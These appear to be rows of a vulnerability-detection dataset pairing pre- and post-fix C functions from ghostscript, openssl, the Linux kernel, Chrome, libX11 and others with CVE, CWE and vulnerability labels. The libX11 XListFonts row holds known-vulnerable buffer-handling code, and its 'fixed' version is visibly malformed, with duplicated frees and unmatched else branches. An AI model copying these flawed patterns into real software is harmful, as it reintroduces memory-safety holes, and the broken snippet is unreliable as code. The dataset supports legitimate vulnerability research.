http://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=c501a58f8d5650c8ba21d447c0d6f07eafcb0f15
|
c501a58f8d5650c8ba21d447c0d6f07eafcb0f15
| null |
static void Ins_RDTG( INS_ARG )
{ (void)args;
CUR.GS.round_state = TT_Round_Down_To_Grid;
CUR.func_round = (TRound_Function)Round_Down_To_Grid;
}
|
static void Ins_RDTG( INS_ARG )
{ (void)args;
CUR.GS.round_state = TT_Round_Down_To_Grid;
CUR.func_round = (TRound_Function)Round_Down_To_Grid;
}
|
C
|
ghostscript
| 0 |
CVE-2018-16540
|
https://www.cvedetails.com/cve/CVE-2018-16540/
|
CWE-416
|
http://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=c432131c3fdb2143e148e8ba88555f7f7a63b25e
|
c432131c3fdb2143e148e8ba88555f7f7a63b25e
| null |
pdf14_begin_typed_image(gx_device * dev, const gs_gstate * pgs,
const gs_matrix *pmat, const gs_image_common_t *pic,
const gs_int_rect * prect,
const gx_drawing_color * pdcolor,
const gx_clip_path * pcpath, gs_memory_t * mem,
gx_image_enum_common_t ** pinfo)
{
const gs_image_t *pim = (const gs_image_t *)pic;
int code;
/* If we are filling an image mask with a pattern that has a transparency
then we need to do some special handling */
if (pim->ImageMask) {
if (pdcolor != NULL && gx_dc_is_pattern1_color(pdcolor)) {
if( gx_pattern1_get_transptr(pdcolor) != NULL){
/* If we are in a final run through here for this case then
go ahead and push the transparency group. Also, update
the proc for the pattern color so that we used the
appropriate fill operation. Note that the group
is popped and the proc will be reset when we flush the
image data. This is handled in a special pdf14 image
renderer which will end up installed for this case.
Detect setting of begin_image to gx_no_begin_image.
(final recursive call) */
if (dev_proc(dev, begin_image) != gx_default_begin_image) {
code = pdf14_patt_trans_image_fill(dev, pgs, pmat, pic,
prect, pdcolor, pcpath, mem,
pinfo);
return code;
}
}
}
}
pdf14_set_marking_params(dev, pgs);
return gx_default_begin_typed_image(dev, pgs, pmat, pic, prect, pdcolor,
pcpath, mem, pinfo);
}
|
pdf14_begin_typed_image(gx_device * dev, const gs_gstate * pgs,
const gs_matrix *pmat, const gs_image_common_t *pic,
const gs_int_rect * prect,
const gx_drawing_color * pdcolor,
const gx_clip_path * pcpath, gs_memory_t * mem,
gx_image_enum_common_t ** pinfo)
{
const gs_image_t *pim = (const gs_image_t *)pic;
int code;
/* If we are filling an image mask with a pattern that has a transparency
then we need to do some special handling */
if (pim->ImageMask) {
if (pdcolor != NULL && gx_dc_is_pattern1_color(pdcolor)) {
if( gx_pattern1_get_transptr(pdcolor) != NULL){
/* If we are in a final run through here for this case then
go ahead and push the transparency group. Also, update
the proc for the pattern color so that we used the
appropriate fill operation. Note that the group
is popped and the proc will be reset when we flush the
image data. This is handled in a special pdf14 image
renderer which will end up installed for this case.
Detect setting of begin_image to gx_no_begin_image.
(final recursive call) */
if (dev_proc(dev, begin_image) != gx_default_begin_image) {
code = pdf14_patt_trans_image_fill(dev, pgs, pmat, pic,
prect, pdcolor, pcpath, mem,
pinfo);
return code;
}
}
}
}
pdf14_set_marking_params(dev, pgs);
return gx_default_begin_typed_image(dev, pgs, pmat, pic, prect, pdcolor,
pcpath, mem, pinfo);
}
|
C
|
ghostscript
| 0 |
CVE-2016-0798
|
https://www.cvedetails.com/cve/CVE-2016-0798/
|
CWE-399
|
https://git.openssl.org/?p=openssl.git;a=commit;h=259b664f950c2ba66fbf4b0fe5281327904ead21
|
259b664f950c2ba66fbf4b0fe5281327904ead21
| null |
static int SRP_user_pwd_set_sv(SRP_user_pwd *vinfo, const char *s,
const char *v)
{
unsigned char tmp[MAX_LEN];
int len;
if (strlen(s) > MAX_LEN || strlen(v) > MAX_LEN)
return 0;
len = t_fromb64(tmp, v);
if (NULL == (vinfo->v = BN_bin2bn(tmp, len, NULL)))
return 0;
len = t_fromb64(tmp, s);
return ((vinfo->s = BN_bin2bn(tmp, len, NULL)) != NULL);
}
|
static int SRP_user_pwd_set_sv(SRP_user_pwd *vinfo, const char *s,
const char *v)
{
unsigned char tmp[MAX_LEN];
int len;
if (strlen(s) > MAX_LEN || strlen(v) > MAX_LEN)
return 0;
len = t_fromb64(tmp, v);
if (NULL == (vinfo->v = BN_bin2bn(tmp, len, NULL)))
return 0;
len = t_fromb64(tmp, s);
return ((vinfo->s = BN_bin2bn(tmp, len, NULL)) != NULL);
}
|
C
|
openssl
| 0 |
CVE-2012-3520
|
https://www.cvedetails.com/cve/CVE-2012-3520/
|
CWE-287
|
https://github.com/torvalds/linux/commit/e0e3cea46d31d23dc40df0a49a7a2c04fe8edfea
|
e0e3cea46d31d23dc40df0a49a7a2c04fe8edfea
|
af_netlink: force credentials passing [CVE-2012-3520]
Pablo Neira Ayuso discovered that avahi and
potentially NetworkManager accept spoofed Netlink messages because of a
kernel bug. The kernel passes all-zero SCM_CREDENTIALS ancillary data
to the receiver if the sender did not provide such data, instead of not
including any such data at all or including the correct data from the
peer (as it is the case with AF_UNIX).
This bug was introduced in commit 16e572626961
(af_unix: dont send SCM_CREDENTIALS by default)
This patch forces passing credentials for netlink, as
before the regression.
Another fix would be to not add SCM_CREDENTIALS in
netlink messages if not provided by the sender, but it
might break some programs.
With help from Florian Weimer & Petr Matousek
This issue is designated as CVE-2012-3520
Signed-off-by: Eric Dumazet <[email protected]>
Cc: Petr Matousek <[email protected]>
Cc: Florian Weimer <[email protected]>
Cc: Pablo Neira Ayuso <[email protected]>
Signed-off-by: David S. Miller <[email protected]>
|
__releases(nl_table_lock)
{
write_unlock_irq(&nl_table_lock);
wake_up(&nl_table_wait);
}
|
__releases(nl_table_lock)
{
write_unlock_irq(&nl_table_lock);
wake_up(&nl_table_wait);
}
|
C
|
linux
| 0 |
CVE-2017-5061
|
https://www.cvedetails.com/cve/CVE-2017-5061/
|
CWE-362
|
https://github.com/chromium/chromium/commit/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34
|
5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34
|
(Reland) Discard compositor frames from unloaded web content
This is a reland of https://codereview.chromium.org/2707243005/ with a
small change to fix an uninitialized memory error that fails on MSAN
bots.
BUG=672847
[email protected], [email protected]
CQ_INCLUDE_TRYBOTS=master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_site_isolation
Review-Url: https://codereview.chromium.org/2731283003
Cr-Commit-Position: refs/heads/master@{#454954}
|
bool LayerTreeHost::IsSingleThreaded() const {
DCHECK(compositor_mode_ != CompositorMode::SINGLE_THREADED ||
!task_runner_provider_->HasImplThread());
return compositor_mode_ == CompositorMode::SINGLE_THREADED;
}
|
bool LayerTreeHost::IsSingleThreaded() const {
DCHECK(compositor_mode_ != CompositorMode::SINGLE_THREADED ||
!task_runner_provider_->HasImplThread());
return compositor_mode_ == CompositorMode::SINGLE_THREADED;
}
|
C
|
Chrome
| 0 |
CVE-2017-5120
|
https://www.cvedetails.com/cve/CVE-2017-5120/
| null |
https://github.com/chromium/chromium/commit/b7277af490d28ac7f802c015bb0ff31395768556
|
b7277af490d28ac7f802c015bb0ff31395768556
|
bindings: Support "attribute FrozenArray<T>?"
Adds a quick hack to support a case of "attribute FrozenArray<T>?".
Bug: 1028047
Change-Id: Ib3cecc4beb6bcc0fb0dbc667aca595454cc90c86
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1933866
Reviewed-by: Hitoshi Yoshida <[email protected]>
Commit-Queue: Yuki Shiino <[email protected]>
Cr-Commit-Position: refs/heads/master@{#718676}
|
static void OverloadedMethodIMethod(const v8::FunctionCallbackInfo<v8::Value>& info) {
scheduler::CooperativeSchedulingManager::Instance()->Safepoint();
bool is_arity_error = false;
switch (std::min(1, info.Length())) {
case 1:
if (info[0]->IsNumber()) {
OverloadedMethodI2Method(info);
return;
}
if (true) {
OverloadedMethodI1Method(info);
return;
}
if (true) {
OverloadedMethodI2Method(info);
return;
}
break;
default:
is_arity_error = true;
}
ExceptionState exception_state(info.GetIsolate(), ExceptionState::kExecutionContext, "TestObject", "overloadedMethodI");
if (is_arity_error) {
if (info.Length() < 1) {
exception_state.ThrowTypeError(ExceptionMessages::NotEnoughArguments(1, info.Length()));
return;
}
}
exception_state.ThrowTypeError("No function was found that matched the signature provided.");
}
|
static void OverloadedMethodIMethod(const v8::FunctionCallbackInfo<v8::Value>& info) {
scheduler::CooperativeSchedulingManager::Instance()->Safepoint();
bool is_arity_error = false;
switch (std::min(1, info.Length())) {
case 1:
if (info[0]->IsNumber()) {
OverloadedMethodI2Method(info);
return;
}
if (true) {
OverloadedMethodI1Method(info);
return;
}
if (true) {
OverloadedMethodI2Method(info);
return;
}
break;
default:
is_arity_error = true;
}
ExceptionState exception_state(info.GetIsolate(), ExceptionState::kExecutionContext, "TestObject", "overloadedMethodI");
if (is_arity_error) {
if (info.Length() < 1) {
exception_state.ThrowTypeError(ExceptionMessages::NotEnoughArguments(1, info.Length()));
return;
}
}
exception_state.ThrowTypeError("No function was found that matched the signature provided.");
}
|
C
|
Chrome
| 0 |
CVE-2017-5091
|
https://www.cvedetails.com/cve/CVE-2017-5091/
|
CWE-416
|
https://github.com/chromium/chromium/commit/d007b8b750851fe1b375c463009ea3b24e5c021d
|
d007b8b750851fe1b375c463009ea3b24e5c021d
|
[IndexedDB] Fix Cursor UAF
If the connection is closed before we return a cursor, it dies in
IndexedDBCallbacks::IOThreadHelper::SendSuccessCursor. It's deleted on
the correct thread, but we also need to makes sure to remove it from its
transaction.
To make things simpler, we have the cursor remove itself from its
transaction on destruction.
R: [email protected]
Bug: 728887
Change-Id: I8c76e6195c2490137a05213e47c635d12f4d3dd2
Reviewed-on: https://chromium-review.googlesource.com/526284
Commit-Queue: Daniel Murphy <[email protected]>
Reviewed-by: Victor Costan <[email protected]>
Cr-Commit-Position: refs/heads/master@{#477504}
|
leveldb::Status IndexedDBCursor::PrefetchReset(int used_prefetches,
int /* unused_prefetches */) {
IDB_TRACE("IndexedDBCursor::PrefetchReset");
cursor_.swap(saved_cursor_);
saved_cursor_.reset();
leveldb::Status s;
if (closed_)
return s;
if (cursor_){
DCHECK_GT(used_prefetches, 0);
for (int i = 0; i < used_prefetches - 1; ++i) {
bool ok = cursor_->Continue(&s);
DCHECK(ok);
}
}
return s;
}
|
leveldb::Status IndexedDBCursor::PrefetchReset(int used_prefetches,
int /* unused_prefetches */) {
IDB_TRACE("IndexedDBCursor::PrefetchReset");
cursor_.swap(saved_cursor_);
saved_cursor_.reset();
leveldb::Status s;
if (closed_)
return s;
if (cursor_){
DCHECK_GT(used_prefetches, 0);
for (int i = 0; i < used_prefetches - 1; ++i) {
bool ok = cursor_->Continue(&s);
DCHECK(ok);
}
}
return s;
}
|
C
|
Chrome
| 0 |
CVE-2011-4324
|
https://www.cvedetails.com/cve/CVE-2011-4324/
| null |
https://github.com/torvalds/linux/commit/dc0b027dfadfcb8a5504f7d8052754bf8d501ab9
|
dc0b027dfadfcb8a5504f7d8052754bf8d501ab9
|
NFSv4: Convert the open and close ops to use fmode
Signed-off-by: Trond Myklebust <[email protected]>
|
static int nfs4_delay(struct rpc_clnt *clnt, long *timeout)
{
int res = 0;
might_sleep();
if (*timeout <= 0)
*timeout = NFS4_POLL_RETRY_MIN;
if (*timeout > NFS4_POLL_RETRY_MAX)
*timeout = NFS4_POLL_RETRY_MAX;
schedule_timeout_killable(*timeout);
if (fatal_signal_pending(current))
res = -ERESTARTSYS;
*timeout <<= 1;
return res;
}
|
static int nfs4_delay(struct rpc_clnt *clnt, long *timeout)
{
int res = 0;
might_sleep();
if (*timeout <= 0)
*timeout = NFS4_POLL_RETRY_MIN;
if (*timeout > NFS4_POLL_RETRY_MAX)
*timeout = NFS4_POLL_RETRY_MAX;
schedule_timeout_killable(*timeout);
if (fatal_signal_pending(current))
res = -ERESTARTSYS;
*timeout <<= 1;
return res;
}
|
C
|
linux
| 0 |
CVE-2018-14599
|
https://www.cvedetails.com/cve/CVE-2018-14599/
|
CWE-682
|
https://cgit.freedesktop.org/xorg/lib/libX11/commit/?id=b469da1430cdcee06e31c6251b83aede072a1ff0
|
b469da1430cdcee06e31c6251b83aede072a1ff0
| null |
XListFonts(
register Display *dpy,
_Xconst char *pattern, /* null-terminated */
int maxNames,
int *actualCount) /* RETURN */
{
register long nbytes;
register unsigned i;
register int length;
char **flist = NULL;
char *ch = NULL;
char *chstart;
char *chend;
int count = 0;
xListFontsReply rep;
register xListFontsReq *req;
unsigned long rlen = 0;
LockDisplay(dpy);
GetReq(ListFonts, req);
req->maxNames = maxNames;
nbytes = req->nbytes = pattern ? strlen (pattern) : 0;
req->length += (nbytes + 3) >> 2;
_XSend (dpy, pattern, nbytes);
/* use _XSend instead of Data, since following _XReply will flush buffer */
if (!_XReply (dpy, (xReply *)&rep, 0, xFalse)) {
*actualCount = 0;
UnlockDisplay(dpy);
SyncHandle();
return (char **) NULL;
}
if (rep.nFonts) {
flist = Xmalloc (rep.nFonts * sizeof(char *));
if (rep.length > 0 && rep.length < (INT_MAX >> 2)) {
rlen = rep.length << 2;
ch = Xmalloc(rlen + 1);
/* +1 to leave room for last null-terminator */
}
if ((! flist) || (! ch)) {
Xfree(flist);
Xfree(ch);
_XEatDataWords(dpy, rep.length);
*actualCount = 0;
UnlockDisplay(dpy);
SyncHandle();
return (char **) NULL;
}
_XReadPad (dpy, ch, rlen);
/*
* unpack into null terminated strings.
*/
chstart = ch;
chend = ch + rlen;
length = *(unsigned char *)ch;
*ch = 1; /* make sure it is non-zero for XFreeFontNames */
for (i = 0; i < rep.nFonts; i++) {
if (ch + length < chend) {
flist[i] = ch + 1; /* skip over length */
ch += length + 1; /* find next length ... */
length = *(unsigned char *)ch;
*ch = '\0'; /* and replace with null-termination */
count++;
} else {
Xfree(chstart);
Xfree(flist);
Xfree(flist);
flist = NULL;
count = 0;
break;
}
} else {
Xfree(chstart);
Xfree(flist);
flist = NULL;
count = 0;
break;
}
}
}
|
XListFonts(
register Display *dpy,
_Xconst char *pattern, /* null-terminated */
int maxNames,
int *actualCount) /* RETURN */
{
register long nbytes;
register unsigned i;
register int length;
char **flist = NULL;
char *ch = NULL;
char *chstart;
char *chend;
int count = 0;
xListFontsReply rep;
register xListFontsReq *req;
unsigned long rlen = 0;
LockDisplay(dpy);
GetReq(ListFonts, req);
req->maxNames = maxNames;
nbytes = req->nbytes = pattern ? strlen (pattern) : 0;
req->length += (nbytes + 3) >> 2;
_XSend (dpy, pattern, nbytes);
/* use _XSend instead of Data, since following _XReply will flush buffer */
if (!_XReply (dpy, (xReply *)&rep, 0, xFalse)) {
*actualCount = 0;
UnlockDisplay(dpy);
SyncHandle();
return (char **) NULL;
}
if (rep.nFonts) {
flist = Xmalloc (rep.nFonts * sizeof(char *));
if (rep.length > 0 && rep.length < (INT_MAX >> 2)) {
rlen = rep.length << 2;
ch = Xmalloc(rlen + 1);
/* +1 to leave room for last null-terminator */
}
if ((! flist) || (! ch)) {
Xfree(flist);
Xfree(ch);
_XEatDataWords(dpy, rep.length);
*actualCount = 0;
UnlockDisplay(dpy);
SyncHandle();
return (char **) NULL;
}
_XReadPad (dpy, ch, rlen);
/*
* unpack into null terminated strings.
*/
chstart = ch;
chend = ch + (rlen + 1);
length = *(unsigned char *)ch;
*ch = 1; /* make sure it is non-zero for XFreeFontNames */
for (i = 0; i < rep.nFonts; i++) {
if (ch + length < chend) {
flist[i] = ch + 1; /* skip over length */
ch += length + 1; /* find next length ... */
if (ch <= chend) {
length = *(unsigned char *)ch;
*ch = '\0'; /* and replace with null-termination */
count++;
} else {
Xfree(chstart);
Xfree(flist);
flist = NULL;
count = 0;
break;
}
} else {
Xfree(chstart);
Xfree(flist);
Xfree(flist);
flist = NULL;
count = 0;
break;
}
} else {
Xfree(chstart);
Xfree(flist);
flist = NULL;
count = 0;
break;
}
}
}
|
C
|
libx11
| 1 |
CVE-2011-3053
|
https://www.cvedetails.com/cve/CVE-2011-3053/
|
CWE-399
|
https://github.com/chromium/chromium/commit/c442b3eda2f1fdd4d1d4864c34c43cbaf223acae
|
c442b3eda2f1fdd4d1d4864c34c43cbaf223acae
|
chromeos: Move audio, power, and UI files into subdirs.
This moves more files from chrome/browser/chromeos/ into
subdirectories.
BUG=chromium-os:22896
TEST=did chrome os builds both with and without aura
TBR=sky
Review URL: http://codereview.chromium.org/9125006
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@116746 0039d316-1c4b-4281-b951-d872f2087c98
|
bool SessionCrashedInfoBarDelegate::Accept() {
uint32 behavior = 0;
Browser* browser = BrowserList::GetLastActiveWithProfile(profile_);
if (browser && browser->tab_count() == 1
&& browser->GetWebContentsAt(0)->GetURL() ==
GURL(chrome::kChromeUINewTabURL)) {
behavior = SessionRestore::CLOBBER_CURRENT_TAB;
}
SessionRestore::RestoreSession(
profile_, browser, behavior, std::vector<GURL>());
return true;
}
|
bool SessionCrashedInfoBarDelegate::Accept() {
uint32 behavior = 0;
Browser* browser = BrowserList::GetLastActiveWithProfile(profile_);
if (browser && browser->tab_count() == 1
&& browser->GetWebContentsAt(0)->GetURL() ==
GURL(chrome::kChromeUINewTabURL)) {
behavior = SessionRestore::CLOBBER_CURRENT_TAB;
}
SessionRestore::RestoreSession(
profile_, browser, behavior, std::vector<GURL>());
return true;
}
|
C
|
Chrome
| 0 |
CVE-2018-16078
|
https://www.cvedetails.com/cve/CVE-2018-16078/
| null |
https://github.com/chromium/chromium/commit/b025e82307a8490501bb030266cd955c391abcb7
|
b025e82307a8490501bb030266cd955c391abcb7
|
[AF] Don't simplify/dedupe suggestions for (partially) filled sections.
Since Autofill does not fill field by field anymore, this simplifying
and deduping of suggestions is not useful anymore.
Bug: 858820
Cq-Include-Trybots: luci.chromium.try:ios-simulator-full-configs;master.tryserver.chromium.mac:ios-simulator-cronet
Change-Id: I36f7cfe425a0bdbf5ba7503a3d96773b405cc19b
Reviewed-on: https://chromium-review.googlesource.com/1128255
Reviewed-by: Roger McFarlane <[email protected]>
Commit-Queue: Sebastien Seguin-Gagnon <[email protected]>
Cr-Commit-Position: refs/heads/master@{#573315}
|
void CreateTestCreditCardFormData(FormData* form,
bool is_https,
bool use_month_type) {
form->name = ASCIIToUTF16("MyForm");
if (is_https) {
form->origin = GURL("https://myform.com/form.html");
form->action = GURL("https://myform.com/submit.html");
} else {
form->origin = GURL("http://myform.com/form.html");
form->action = GURL("http://myform.com/submit.html");
}
FormFieldData field;
test::CreateTestFormField("Name on Card", "nameoncard", "", "text", &field);
form->fields.push_back(field);
test::CreateTestFormField("Card Number", "cardnumber", "", "text", &field);
form->fields.push_back(field);
if (use_month_type) {
test::CreateTestFormField("Expiration Date", "ccmonth", "", "month",
&field);
form->fields.push_back(field);
} else {
test::CreateTestFormField("Expiration Date", "ccmonth", "", "text",
&field);
form->fields.push_back(field);
test::CreateTestFormField("", "ccyear", "", "text", &field);
form->fields.push_back(field);
}
test::CreateTestFormField("CVC", "cvc", "", "text", &field);
form->fields.push_back(field);
}
|
void CreateTestCreditCardFormData(FormData* form,
bool is_https,
bool use_month_type) {
form->name = ASCIIToUTF16("MyForm");
if (is_https) {
form->origin = GURL("https://myform.com/form.html");
form->action = GURL("https://myform.com/submit.html");
} else {
form->origin = GURL("http://myform.com/form.html");
form->action = GURL("http://myform.com/submit.html");
}
FormFieldData field;
test::CreateTestFormField("Name on Card", "nameoncard", "", "text", &field);
form->fields.push_back(field);
test::CreateTestFormField("Card Number", "cardnumber", "", "text", &field);
form->fields.push_back(field);
if (use_month_type) {
test::CreateTestFormField("Expiration Date", "ccmonth", "", "month",
&field);
form->fields.push_back(field);
} else {
test::CreateTestFormField("Expiration Date", "ccmonth", "", "text",
&field);
form->fields.push_back(field);
test::CreateTestFormField("", "ccyear", "", "text", &field);
form->fields.push_back(field);
}
test::CreateTestFormField("CVC", "cvc", "", "text", &field);
form->fields.push_back(field);
}
|
C
|
Chrome
| 0 |
CVE-2017-14032
|
https://www.cvedetails.com/cve/CVE-2017-14032/
|
CWE-287
|
https://github.com/ARMmbed/mbedtls/commit/d15795acd5074e0b44e71f7ede8bdfe1b48591fc
|
d15795acd5074e0b44e71f7ede8bdfe1b48591fc
|
Improve behaviour on fatal errors
If we didn't walk the whole chain, then there may be any kind of errors in the
part of the chain we didn't check, so setting all flags looks like the safe
thing to do.
|
static int x509_get_ext_key_usage( unsigned char **p,
const unsigned char *end,
mbedtls_x509_sequence *ext_key_usage)
{
int ret;
if( ( ret = mbedtls_asn1_get_sequence_of( p, end, ext_key_usage, MBEDTLS_ASN1_OID ) ) != 0 )
return( MBEDTLS_ERR_X509_INVALID_EXTENSIONS + ret );
/* Sequence length must be >= 1 */
if( ext_key_usage->buf.p == NULL )
return( MBEDTLS_ERR_X509_INVALID_EXTENSIONS +
MBEDTLS_ERR_ASN1_INVALID_LENGTH );
return( 0 );
}
|
static int x509_get_ext_key_usage( unsigned char **p,
const unsigned char *end,
mbedtls_x509_sequence *ext_key_usage)
{
int ret;
if( ( ret = mbedtls_asn1_get_sequence_of( p, end, ext_key_usage, MBEDTLS_ASN1_OID ) ) != 0 )
return( MBEDTLS_ERR_X509_INVALID_EXTENSIONS + ret );
/* Sequence length must be >= 1 */
if( ext_key_usage->buf.p == NULL )
return( MBEDTLS_ERR_X509_INVALID_EXTENSIONS +
MBEDTLS_ERR_ASN1_INVALID_LENGTH );
return( 0 );
}
|
C
|
mbedtls
| 0 |
CVE-2018-17206
|
https://www.cvedetails.com/cve/CVE-2018-17206/
| null |
https://github.com/openvswitch/ovs/commit/9237a63c47bd314b807cda0bd2216264e82edbe8
|
9237a63c47bd314b807cda0bd2216264e82edbe8
|
ofp-actions: Avoid buffer overread in BUNDLE action decoding.
Reported-at: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=9052
Signed-off-by: Ben Pfaff <[email protected]>
Acked-by: Justin Pettit <[email protected]>
|
decode_OFPAT_RAW_DEC_MPLS_TTL(struct ofpbuf *out)
{
ofpact_put_DEC_MPLS_TTL(out);
return 0;
}
|
decode_OFPAT_RAW_DEC_MPLS_TTL(struct ofpbuf *out)
{
ofpact_put_DEC_MPLS_TTL(out);
return 0;
}
|
C
|
ovs
| 0 |
CVE-2011-3104
|
https://www.cvedetails.com/cve/CVE-2011-3104/
|
CWE-119
|
https://github.com/chromium/chromium/commit/6b5f83842b5edb5d4bd6684b196b3630c6769731
|
6b5f83842b5edb5d4bd6684b196b3630c6769731
|
[i18n-fixlet] Make strings branding specific in extension code.
IDS_EXTENSIONS_UNINSTALL
IDS_EXTENSIONS_INCOGNITO_WARNING
IDS_EXTENSION_INSTALLED_HEADING
IDS_EXTENSION_ALERT_ITEM_EXTERNAL And fix a $1 $1 bug.
IDS_EXTENSION_INLINE_INSTALL_PROMPT_TITLE
BUG=NONE
TEST=NONE
Review URL: http://codereview.chromium.org/9107061
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@118018 0039d316-1c4b-4281-b951-d872f2087c98
|
void ExtensionSettingsHandler::RegisterMessages() {
extension_service_ = Profile::FromWebUI(web_ui())->GetOriginalProfile()->
GetExtensionService();
web_ui()->RegisterMessageCallback("extensionSettingsRequestExtensionsData",
base::Bind(&ExtensionSettingsHandler::HandleRequestExtensionsData,
base::Unretained(this)));
web_ui()->RegisterMessageCallback("extensionSettingsToggleDeveloperMode",
base::Bind(&ExtensionSettingsHandler::HandleToggleDeveloperMode,
base::Unretained(this)));
web_ui()->RegisterMessageCallback("extensionSettingsInspect",
base::Bind(&ExtensionSettingsHandler::HandleInspectMessage,
base::Unretained(this)));
web_ui()->RegisterMessageCallback("extensionSettingsReload",
base::Bind(&ExtensionSettingsHandler::HandleReloadMessage,
base::Unretained(this)));
web_ui()->RegisterMessageCallback("extensionSettingsEnable",
base::Bind(&ExtensionSettingsHandler::HandleEnableMessage,
base::Unretained(this)));
web_ui()->RegisterMessageCallback("extensionSettingsEnableIncognito",
base::Bind(&ExtensionSettingsHandler::HandleEnableIncognitoMessage,
base::Unretained(this)));
web_ui()->RegisterMessageCallback("extensionSettingsAllowFileAccess",
base::Bind(&ExtensionSettingsHandler::HandleAllowFileAccessMessage,
base::Unretained(this)));
web_ui()->RegisterMessageCallback("extensionSettingsUninstall",
base::Bind(&ExtensionSettingsHandler::HandleUninstallMessage,
base::Unretained(this)));
web_ui()->RegisterMessageCallback("extensionSettingsOptions",
base::Bind(&ExtensionSettingsHandler::HandleOptionsMessage,
base::Unretained(this)));
web_ui()->RegisterMessageCallback("extensionSettingsShowButton",
base::Bind(&ExtensionSettingsHandler::HandleShowButtonMessage,
base::Unretained(this)));
web_ui()->RegisterMessageCallback("extensionSettingsLoad",
base::Bind(&ExtensionSettingsHandler::HandleLoadMessage,
base::Unretained(this)));
web_ui()->RegisterMessageCallback("extensionSettingsAutoupdate",
base::Bind(&ExtensionSettingsHandler::HandleAutoUpdateMessage,
base::Unretained(this)));
web_ui()->RegisterMessageCallback("extensionSettingsSelectFilePath",
base::Bind(&ExtensionSettingsHandler::HandleSelectFilePathMessage,
base::Unretained(this)));
}
|
void ExtensionSettingsHandler::RegisterMessages() {
extension_service_ = Profile::FromWebUI(web_ui())->GetOriginalProfile()->
GetExtensionService();
web_ui()->RegisterMessageCallback("extensionSettingsRequestExtensionsData",
base::Bind(&ExtensionSettingsHandler::HandleRequestExtensionsData,
base::Unretained(this)));
web_ui()->RegisterMessageCallback("extensionSettingsToggleDeveloperMode",
base::Bind(&ExtensionSettingsHandler::HandleToggleDeveloperMode,
base::Unretained(this)));
web_ui()->RegisterMessageCallback("extensionSettingsInspect",
base::Bind(&ExtensionSettingsHandler::HandleInspectMessage,
base::Unretained(this)));
web_ui()->RegisterMessageCallback("extensionSettingsReload",
base::Bind(&ExtensionSettingsHandler::HandleReloadMessage,
base::Unretained(this)));
web_ui()->RegisterMessageCallback("extensionSettingsEnable",
base::Bind(&ExtensionSettingsHandler::HandleEnableMessage,
base::Unretained(this)));
web_ui()->RegisterMessageCallback("extensionSettingsEnableIncognito",
base::Bind(&ExtensionSettingsHandler::HandleEnableIncognitoMessage,
base::Unretained(this)));
web_ui()->RegisterMessageCallback("extensionSettingsAllowFileAccess",
base::Bind(&ExtensionSettingsHandler::HandleAllowFileAccessMessage,
base::Unretained(this)));
web_ui()->RegisterMessageCallback("extensionSettingsUninstall",
base::Bind(&ExtensionSettingsHandler::HandleUninstallMessage,
base::Unretained(this)));
web_ui()->RegisterMessageCallback("extensionSettingsOptions",
base::Bind(&ExtensionSettingsHandler::HandleOptionsMessage,
base::Unretained(this)));
web_ui()->RegisterMessageCallback("extensionSettingsShowButton",
base::Bind(&ExtensionSettingsHandler::HandleShowButtonMessage,
base::Unretained(this)));
web_ui()->RegisterMessageCallback("extensionSettingsLoad",
base::Bind(&ExtensionSettingsHandler::HandleLoadMessage,
base::Unretained(this)));
web_ui()->RegisterMessageCallback("extensionSettingsAutoupdate",
base::Bind(&ExtensionSettingsHandler::HandleAutoUpdateMessage,
base::Unretained(this)));
web_ui()->RegisterMessageCallback("extensionSettingsSelectFilePath",
base::Bind(&ExtensionSettingsHandler::HandleSelectFilePathMessage,
base::Unretained(this)));
}
|
C
|
Chrome
| 0 |
CVE-2018-20067
|
https://www.cvedetails.com/cve/CVE-2018-20067/
|
CWE-254
|
https://github.com/chromium/chromium/commit/a7d715ae5b654d1f98669fd979a00282a7229044
|
a7d715ae5b654d1f98669fd979a00282a7229044
|
Prevent renderer initiated back navigation to cancel a browser one.
Renderer initiated back/forward navigations must not be able to cancel ongoing
browser initiated navigation if they are not user initiated.
Note: 'normal' renderer initiated navigation uses the
FrameHost::BeginNavigation() path. A code similar to this patch is done
in NavigatorImpl::OnBeginNavigation().
Test:
-----
Added: NavigationBrowserTest.
* HistoryBackInBeforeUnload
* HistoryBackInBeforeUnloadAfterSetTimeout
* HistoryBackCancelPendingNavigationNoUserGesture
* HistoryBackCancelPendingNavigationUserGesture
Fixed:
* (WPT) .../the-history-interface/traverse_the_history_2.html
* (WPT) .../the-history-interface/traverse_the_history_3.html
* (WPT) .../the-history-interface/traverse_the_history_4.html
* (WPT) .../the-history-interface/traverse_the_history_5.html
Bug: 879965
Change-Id: I1a9bfaaea1ffc219e6c32f6e676b660e746c578c
Reviewed-on: https://chromium-review.googlesource.com/1209744
Commit-Queue: Arthur Sonzogni <[email protected]>
Reviewed-by: Daniel Cheng <[email protected]>
Reviewed-by: Mustaq Ahmed <[email protected]>
Reviewed-by: Camille Lamy <[email protected]>
Reviewed-by: Charlie Reis <[email protected]>
Cr-Commit-Position: refs/heads/master@{#592823}
|
void LocalFrameClientImpl::FrameRectsChanged(const IntRect& frame_rect) {
DCHECK(web_frame_->Client());
web_frame_->Client()->FrameRectsChanged(frame_rect);
}
|
void LocalFrameClientImpl::FrameRectsChanged(const IntRect& frame_rect) {
DCHECK(web_frame_->Client());
web_frame_->Client()->FrameRectsChanged(frame_rect);
}
|
C
|
Chrome
| 0 |
CVE-2016-4300
|
https://www.cvedetails.com/cve/CVE-2016-4300/
|
CWE-190
|
https://github.com/libarchive/libarchive/commit/e79ef306afe332faf22e9b442a2c6b59cb175573
|
e79ef306afe332faf22e9b442a2c6b59cb175573
|
Issue #718: Fix TALOS-CAN-152
If a 7-Zip archive declares a rediculously large number of substreams,
it can overflow an internal counter, leading a subsequent memory
allocation to be too small for the substream data.
Thanks to the Open Source and Threat Intelligence project at Cisco
for reporting this issue.
|
archive_read_support_format_7zip(struct archive *_a)
{
struct archive_read *a = (struct archive_read *)_a;
struct _7zip *zip;
int r;
archive_check_magic(_a, ARCHIVE_READ_MAGIC,
ARCHIVE_STATE_NEW, "archive_read_support_format_7zip");
zip = calloc(1, sizeof(*zip));
if (zip == NULL) {
archive_set_error(&a->archive, ENOMEM,
"Can't allocate 7zip data");
